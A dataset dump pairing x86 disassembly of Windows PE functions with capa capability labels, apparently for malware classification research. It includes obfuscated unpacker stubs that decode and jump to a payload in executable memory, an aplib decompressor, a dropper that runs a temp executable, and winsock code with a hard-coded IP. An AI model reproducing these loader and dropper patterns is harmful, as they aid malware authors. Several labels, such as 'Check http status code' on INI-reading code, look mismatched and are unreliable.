joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a7a1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1001a71d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001a910
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001a910
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1001a8c5
jg 0x1001a7fd
test eax, eax
je 0x1001a8bb
push 1
push 0x1000
call fcn.100147b2
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1001a820
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001a8b2
push 0x8000
push ebx
call fcn.1001a64e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1001a849
jg 0x1001a844
cmp ecx, 0x1000
jb 0x1001a849
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10015ef9
add esp, 0x10
cmp eax, 0xffffffff
je 0x1001a88e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1001a844
jl 0x1001a875
test ecx, ecx
jne 0x1001a836
push dword [ebp - 0xc]
push ebx
call fcn.1001a64e
push esi
call fcn.1001425d
add esp, 0xc
xor ebx, ebx
jmp 0x1001a91e
cmp byte [edi + 0x24], 0
je 0x1001a8a5
cmp dword [edi + 0x20], 5
jne 0x1001a8a5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001a8b0
mov ebx, dword [edi + 0x18]
jmp 0x1001a8b2
xor ebx, ebx
push esi
call fcn.1001425d
pop ecx
jmp 0x1001a91e
test ecx, ecx
jg 0x1001a887
jl 0x1001a8c5
test eax, eax
jae 0x1001a887
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100195ac
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1001a8e5
cmp byte [edi + 0x1c], 0
je 0x1001a887
jmp 0x1001a916
push ebx
call fcn.10018fde
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001a887
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1001a91e
cmp byte [edi + 0x1c], 0
je 0x1001a91b
mov ebx, dword [edi + 0x18]
jmp 0x1001a91e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100195ac
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001c9b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001c9dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001c9dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x403eb0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x28
mov ecx, dword [0x419554]
push ebx
push esi
push edi
push ebp
push 0xf1
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleNlsMode]
push eax
mov ecx, dword [0x419554]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
mov dword [esp + 0x14], eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesTransactedA]
mov esi, eax
test esi, esi
jne 0x403ef7
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x28
ret
xor eax, eax
xor ecx, ecx
mov ax, word [esi + 4]
mov ebx, dword [esp + 0x3c]
shl eax, 0x10
mov cx, word [esi + 2]
or eax, ecx
push eax
push 0
push 0x420
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
push 0x160018
push 0
push 0x41f
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
push 0
push 0
push 0x418
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
lea edi, [eax - 1]
test eax, eax
je 0x403f5c
push 0
push 0
push 0x416
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
mov eax, edi
dec edi
test eax, eax
jne 0x403f45
xor ebp, ebp
cmp word [esi + 6], bp
mov dword [esp + 0x10], ebp
jbe 0x403fd2
lea edi, [esi + 8]
mov byte [0x431718], 4
xor eax, eax
mov ax, word [edi]
cmp dword [0x431714], eax
jne 0x403f82
inc ebp
jmp 0x403fbf
mov dword [0x431714], eax
test eax, eax
je 0x403f9b
mov byte [0x431719], 0
mov dword [0x431710], ebp
inc ebp
jmp 0x403fac
mov byte [0x431719], 1
mov dword [0x431710], 4
push 0x431710
push 1
push 0x414
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
add edi, 2
xor eax, eax
mov ax, word [esi + 6]
inc dword [esp + 0x10]
cmp eax, dword [esp + 0x10]
jg 0x403f6b
push 0
push 0
push 0x418
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
mov eax, dword [esp + 0x40]
mov ecx, dword [0x419554]
push eax
mov ebp, dword [sym.imp.USER32.dll_Ordinal_2099]
push ecx
call ebp
mov edi, eax
mov ebp, dword [sym.imp.GDI32.dll_Ordinal_1700]
lea eax, [esp + 0x20]
push eax
push 0x18
push edi
call ebp
mov ecx, dword [0x419554]
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x24]
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
push ecx
xor ecx, ecx
cdq
mov cx, word [esi + 2]
idiv ecx
push eax
push 0x413
push ebx
call dword [sym.imp.USER32.dll_Ordinal_2290]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x28
ret
Function at 0x40dfd0
Capabilities:
Check http status code

Disassembly:
sub esp, 0x24
cmp dword [0x419528], 0
push ebx
push esi
push edi
je 0x40e1c1
push str.STHVCD.INI
mov edi, dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0xffffffffffffffff
push str.WinX
push str.SAVESUPERDECODER
call edi
mov esi, eax
push str.STHVCD.INI
push 0xffffffffffffffff
push str.WinY
push str.SAVESUPERDECODER
call edi
cmp esi, 0xffffffff
je 0x40e031
cmp eax, 0xffffffff
je 0x40e031
push 5
push 0
push 0
push eax
push esi
push 0
call sub.Mmxvideo.dll_Ordinal_79
push eax
call dword [sym.imp.USER32.dll_Ordinal_2389]
push str.STHVCD.INI
push 0xffffffffffffffff
push str.Echo
push str.SAVESUPERDECODER
call edi
cmp eax, 0xffffffff
je 0x40e04e
mov dword [0x419370], eax
push str.STHVCD.INI
push 0
push 0x41b0c4
push str.SAVESUPERDECODER
call edi
push str.STHVCD.INI
mov dword [0x419374], eax
push 0xffffffffffffffff
push 0x41b0c0
push str.SAVESUPERDECODER
call edi
mov esi, eax
push str.STHVCD.INI
push 0xffffffffffffffff
push 0x41b0bc
push str.SAVESUPERDECODER
call edi
cmp esi, 0xffffffff
je 0x40e09f
cmp eax, 0xffffffff
je 0x40e09f
push eax
push esi
call sub.Mmxvideo.dll_Ordinal_88
push str.STHVCD.INI
push 0xffffffffffffffff
push str.Karaoke
push str.SAVESUPERDECODER
call edi
cmp eax, 0xffffffff
jne 0x40e0bc
mov eax, dword [0x41976c]
mov dword [0x41976c], eax
test eax, eax
je 0x40e0dd
cmp dword [0x41948c], 0
jne 0x40e0dd
mov dword [0x41948c], 1
call fcn.00404dd0
push str.STHVCD.INI
push 0xffffffffffffffff
push str.ShowTime
push str.SAVESUPERDECODER
call edi
cmp eax, 0xffffffff
je 0x40e109
mov byte [0x419774], al
xor eax, eax
mov al, byte [0x419774]
push eax
push 0x2e
call sub.Mmxvideo.dll_Ordinal_75
lea esi, [esp + 0xc]
push esi
push 0x13
call sub.Mmxvideo.dll_Ordinal_75
push str.STHVCD.INI
push 0xc8
push str.Frequency
push str.SAVESUPERDECODER
call edi
cmp eax, 0xc8
je 0x40e136
mov dword [esp + 0x18], eax
push str.STHVCD.INI
push 0xffffffffffffffff
push str.Channel
push str.SAVESUPERDECODER
call edi
cmp eax, 0xffffffff
je 0x40e152
mov dword [esp + 0x1c], eax
push str.STHVCD.INI
push 0xffffffffffffffff
push str.AudioMUTE
push str.SAVESUPERDECODER
call edi
cmp eax, 0xffffffff
je 0x40e16e
mov byte [esp + 0x22], al
push str.STHVCD.INI
push 0xffffffffffffffff
push 0x41b0c8
push str.SAVESUPERDECODER
call edi
cmp eax, 0xffffffff
je 0x40e18a
mov byte [esp + 0x23], al
push str.STHVCD.INI
push 0
push str.VideoQual
push str.SAVESUPERDECODER
call edi
mov byte [esp + 0x26], al
mov ebx, eax
push esi
push 0x46
call sub.Mmxvideo.dll_Ordinal_75
cmp ebx, 0x1f
jle 0x40e1b5
mov ebx, 0x1f
test ebx, ebx
jge 0x40e1bb
xor ebx, ebx
push ebx
call sub.Mmxvideo.dll_Ordinal_89
pop edi
pop esi
pop ebx
add esp, 0x24
ret
Function at 0x40f140
Capabilities:
Check http status code

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
push ebp
mov edi, 0x431620
xor eax, eax
mov ecx, 0x13
push 0x50
mov byte [0x41cc90], bl
push str.Open_Movie_File
mov byte [0x41cb88], bl
rep stosd dword es:[edi], eax
push 0xc352
mov eax, dword [0x419554]
push eax
mov esi, dword [sym.imp.USER32.dll_Ordinal_2118]
call esi
push 0x104
mov ecx, dword [0x419554]
push str.MovieFile__.MPG_.DAT_.MPV__.MPG_.DAT_.MPV_All_Files__.__._
push 0xc353
push ecx
call esi
mov al, byte [ebx + str.MovieFile__.MPG_.DAT_.MPV__.MPG_.DAT_.MPV_All_Files__.__._]
test al, al
je 0x40f1b0
cmp al, 0x40
jne 0x40f1a7
mov byte [ebx + str.MovieFile__.MPG_.DAT_.MPV__.MPG_.DAT_.MPV_All_Files__.__._], 0
inc ebx
cmp ebx, 0x104
jl 0x40f192
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov dword [0x431620], 0x4c
mov dword [0x43162c], 0x41b220
mov dword [0x431638], 1
mov dword [0x43163c], 0x41cc90
mov dword [0x431640], 0x1770
mov dword [0x431644], 0x41cb88
mov dword [0x431648], 0x104
mov dword [0x431650], 0x41b328
mov dword [0x431654], 0x1a00
mov ecx, dword [0x41954c]
mov dword [0x431624], ecx
xor ecx, ecx
mov word [0x431658], cx
mov dword [0x431630], ecx
mov word [0x43165a], cx
mov dword [0x431634], ecx
mov dword [0x43164c], ecx
cmp al, 4
mov dword [0x43165c], 0x41af38
jb 0x40f256
mov dword [0x431654], 0x81a00
push 0x431620
call sub.COMDLG32.dll_Ordinal_113
test eax, eax
jne 0x40f26b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
ret
push 0x41cc90
call dword [sym.imp.KERNEL32.dll_Ordinal_1602]
cmp byte [eax + 0x41cc91], 0
jne 0x40f2bc
push 0x41cc90
mov ebx, 1
push 0x41ecd4
call dword [sym.imp.KERNEL32.dll_Ordinal_1596]
push 0
push 0x41ecd4
call sub.MPEGSYS.dll_Ordinal_46
cmp eax, 0xffffffff
je 0x40f2b3
cmp eax, 2
je 0x40f2b3
cmp eax, 3
jne 0x40f34c
xor ebx, ebx
pop ebp
mov eax, ebx
pop edi
pop esi
pop ebx
ret
xor edi, edi
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_Ordinal_1587]
lea eax, [edi + 0x41cc90]
push eax
call dword [sym.imp.KERNEL32.dll_Ordinal_1602]
add edi, eax
inc edi
cmp byte [edi + 0x41cc90], 0
je 0x40f34c
lea eax, [ebx + ebx*4]
push 0x41cc90
lea eax, [ebx + eax*4]
shl eax, 2
lea ebp, [eax + 0x41ecd4]
mov byte [eax + 0x41ecd0], bl
mov byte [eax + 0x41ecd1], 0
mov byte [eax + 0x41ecd2], 0
mov byte [eax + 0x41ecd3], 0
push ebp
call dword [sym.imp.KERNEL32.dll_Ordinal_1596]
push 0x41b3a0
push ebp
call esi
lea ecx, [edi + 0x41cc90]
push ecx
push ebp
call esi
push 0
push ebp
call sub.MPEGSYS.dll_Ordinal_46
cmp eax, 0xffffffff
je 0x40f33e
cmp eax, 2
je 0x40f33e
cmp eax, 3
jne 0x40f33f
dec ebx
inc ebx
cmp ebx, 0x190
jl 0x40f2c6
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40fc10
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov eax, dword [0x41b37c]
push edi
mov esi, dword [eax*4 + 0x428360]
mov edi, esi
xor eax, eax
mov al, byte [esi]
sub eax, 0x10
cmp eax, 0xf
ja case.0x40fc34.20
xor ecx, ecx
mov cl, byte [eax + 0x40fd90]
jmp dword [ecx*4 + 0x40fd7c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov dword [eax], 0xffff
mov eax, dword [esp + 0x10]
mov dword [ecx], 0xffff
mov ecx, dword [esp + 0xc]
mov dword [edx], 0xffff
pop edi
mov dword [eax], 0xffff
pop esi
mov dword [ecx], 0xffff
ret
xor eax, eax
mov ax, word [esi + 4]
push eax
call fcn.0040e490
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [ecx], eax
xor eax, eax
mov ax, word [esi + 6]
push eax
call fcn.0040e490
mov ecx, dword [esp + 0x14]
add esp, 4
mov dword [ecx], eax
xor eax, eax
mov ax, word [esi + 8]
push eax
call fcn.0040e490
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
add esp, 4
mov dword [ecx], eax
mov dword [edx], 0xffff
mov eax, dword [esp + 0x18]
pop edi
pop esi
mov dword [eax], 0xffff
ret
xor eax, eax
mov ax, word [edi + 6]
push eax
call fcn.0040e490
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [ecx], eax
xor eax, eax
mov ax, word [edi + 8]
push eax
call fcn.0040e490
mov ecx, dword [esp + 0x14]
add esp, 4
mov dword [ecx], eax
xor eax, eax
mov ax, word [edi + 0xa]
push eax
call fcn.0040e490
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [ecx], eax
xor ecx, ecx
mov cl, byte [edi + 2]
test ecx, ecx
jne 0x40fd25
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
pop edi
pop esi
mov dword [eax], 0xffff
mov dword [ecx], 0xffff
ret
xor edx, edx
mov eax, dword [esp + 0x18]
mov dl, byte [edi + 3]
add ecx, edx
mov dword [eax], edx
dec ecx
mov eax, dword [esp + 0x1c]
pop edi
pop esi
mov dword [eax], ecx
ret
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov dword [0x41b1b0], 1
mov edx, dword [esp + 0x14]
mov dword [eax], 0xffff
mov eax, dword [esp + 0x10]
mov dword [ecx], 0xffff
mov ecx, dword [esp + 0xc]
mov dword [edx], 0xffff
pop edi
mov dword [eax], 0xffff
pop esi
mov dword [ecx], 0xffff
ret
Function at 0x4431b8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4431c7
pop dword [ebp - 0x50]
mov eax, 0x4431c7
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xf75b6040
sub dword [ebp - 0x60], 0xa9091af5
mov dword [ebp - 0x5c], 0xb0040898
sub dword [ebp - 0x5c], 0x7dd0bc53
mov dword [ebp - 0x58], 0x6dbdfc47
sub dword [ebp - 0x58], 0x2171b819
mov dword [ebp - 0x54], 0xd4bd76d3
add dword [ebp - 0x54], 0x2b42892d
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x39a4e23c
add dword [ebp - 0x60], 0x3acd871a
mov dword [ebp - 0x5c], 0x64defc11
add dword [ebp - 0x5c], 0xdc8d6564
mov dword [ebp - 0x58], 0x34274423
sub dword [ebp - 0x58], 0xd0b7d7b7
mov dword [ebp - 0x54], 0x4584f639
add dword [ebp - 0x54], 0xba7b09c7
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xb11733e4
sub eax, 0xb0d18364
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x4a78a
push 0
call eax
mov ecx, 0x6ca4ede5
sub ecx, 0x6ca4b132
xor ebx, ebx
add ebx, eax
mov edi, 0x5e3c6203
add edi, 0xa20afdfd
add edi, dword [ebp - 0x50]
mov edx, 0x5f33e094
add edx, 0x1c95a3db
xor dword [ebp - 0x24], eax
mov esi, dword [edi]
sub dword [ebp - 0x34], 0x11c54504
sub esi, edx
add dword [ebp - 0x44], 0x337426a1
mov dword [ebx], esi
add dword [ebp - 4], ecx
add ebx, 4
add edi, 4
loop 0x4432e1
add eax, 0xa289edce
add eax, 0x5d76f7d1
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x402980
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4029a5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4029b0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4029a5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4029f8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4029ee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4029fa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4029e0
xor eax, eax
pop ebx
pop esi
ret

Function at 0xbe0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00be01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbe007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbe006a
add dl, dl
jne 0xbe0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbe00dc
xor eax, eax
add dl, dl
jne 0xbe0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbe017d
add dl, dl
jne 0xbe00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbe00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbe00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbe00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbe00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbe0075
mov eax, 1
add dl, dl
jne 0xbe00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbe00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbe00e1
sub eax, ebx
mov ebx, 1
jne 0xbe0128
mov ecx, 1
add dl, dl
jne 0xbe010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbe0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbe0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbe0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbe013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbe014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbe0136
cmp eax, 0x7d00
jae 0xbe016d
cmp eax, 0x500
jb 0xbe0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbe0075
cmp eax, 0x7f
ja 0xbe0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbe0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbe019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbe0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x405c62
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x405c71
pop dword [ebp - 0x40]
mov eax, 0x80e93f72
add eax, 0x7f571cff
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xbe29da19
sub dword [ebp - 0x50], 0x6fd794ce
mov dword [ebp - 0x4c], 0xd13b99ed
add dword [ebp - 0x4c], 0x60f7b258
mov dword [ebp - 0x48], 0xe2d48360
add dword [ebp - 0x48], 0x6977c0ce
mov dword [ebp - 0x44], 0xa6a6d8aa
add dword [ebp - 0x44], 0x59592756
lea eax, [ebp - 0x50]
push eax
mov eax, 0x35eaea52
add eax, 0xca55e5fa
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x4c8c5eb8
sub dword [ebp - 0x50], 0xd819f562
mov dword [ebp - 0x4c], 0x44292fae
sub dword [ebp - 0x4c], 0x2bcce39
mov dword [ebp - 0x48], 0x319ba38f
sub dword [ebp - 0x48], 0xce2c3723
mov dword [ebp - 0x44], 0xba5c4242
add dword [ebp - 0x44], 0x45a3bdbe
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xdf8c776d
sub eax, 0xdf4ba725
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a4fa
push 0
call eax
mov ecx, 0x170810b6
sub ecx, 0x1707c659
mov ebx, eax
mov edx, 0x763b4d7
sub edx, 0x72204d7
add edx, dword [ebp - 0x40]
mov edi, 0x673daf9b
mov dword [ebp - 0xc], 0xa1d7652d
mov esi, dword [edx]
sub dword [ebp - 0x3c], 0xd51c3cb0
sub esi, edi
xor dword [ebp - 0x30], esi
mov dword [ebx], esi
sub dword [ebp - 0x28], edi
add ebx, 0x1d245a73
sub ebx, 0x1d245a6f
add edx, 0x7e37486d
add edx, 0x81c8b797
loop 0x405d8d
add eax, 0x11c47
mov ebx, eax
add eax, 5
mov ecx, 0x1f2418dc
add ecx, 0xe11be724
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x422640
push 0x67
push edi
call esi
push 0x64
push 0x422578
push 0x6d
push edi
call esi
mov eax, edi
call fcn.0040118b
mov eax, dword [ebp + 0x10]
mov edx, 0x423148
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40104f
call fcn.00402db5
push 0x7d0
mov dword [0x421070], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040154d
test eax, eax
je 0x401088
call fcn.00403077
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.004011fc
pop ecx
test eax, eax
jne 0x4010aa
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00408c42
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.0040db70
mov ecx, dword [0x422d90]
add esp, 0xc
test ecx, ecx
jbe 0x4010ee
cmp word [0x422d94], 0
jbe 0x4010ee
mov esi, 0x421608
call fcn.00402d51
mov ax, word [0x422d94]
mov word [0x421618], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x423350
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.0040277b
add esp, 0xc
call fcn.00401f45
lea edi, [esp + 0x10]
call fcn.00402796
push 0x41bc60
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00408c51
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00408c51
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401176
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
xor eax, eax
push eax
push 0x41bdd8
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402189
jmp 0x401080
Function at 0x4011fc
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e0
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x422708], eax
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x422640
push 0x422578
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x40124a
xor eax, eax
jmp 0x4013d5
xor eax, eax
push 0x206
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push esi
push eax
call fcn.0040db70
add esp, 0xc
lea eax, [ebp - 0x3dc]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x422ec8
call fcn.004055e0
pop ecx
push 2
pop ebx
test eax, eax
jne 0x40134d
push 0x3a
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push esi
push eax
call fcn.0040db70
add esp, 0xc
lea edi, [ebp - 0x44]
call fcn.004014bf
xor eax, eax
movzx ecx, word [ebp + eax - 0x44]
mov word [eax + 0x423070], cx
add eax, ebx
cmp cx, si
jne 0x4012af
push 0x41bc64
push 0x40
push 0x422ecc
call fcn.00408cfa
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x422f4e
mov word [0x422f4c], ax
call fcn.00408cfa
add esp, 0xc
push str.218.54.31.226
push 0x40
push 0x422f6e
call fcn.00408cfa
mov eax, 0x2b66
add esp, 0xc
mov word [0x422fee], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x44]
mov word [eax + 0x423050], cx
add eax, ebx
cmp cx, si
jne 0x401314
mov edi, 0x423050
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x40132e
mov esi, 0x41bca8
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x423090], 5
xor esi, esi
call fcn.00402657
lea edi, [ebp - 0x24c]
call fcn.004014bf
xor eax, eax
movzx ecx, word [ebp + eax - 0x24c]
mov word [eax + 0x4230c8], cx
add eax, ebx
cmp cx, si
jne 0x40135f
mov edi, 0x4230c8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x401397
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401243
push edi
push esi
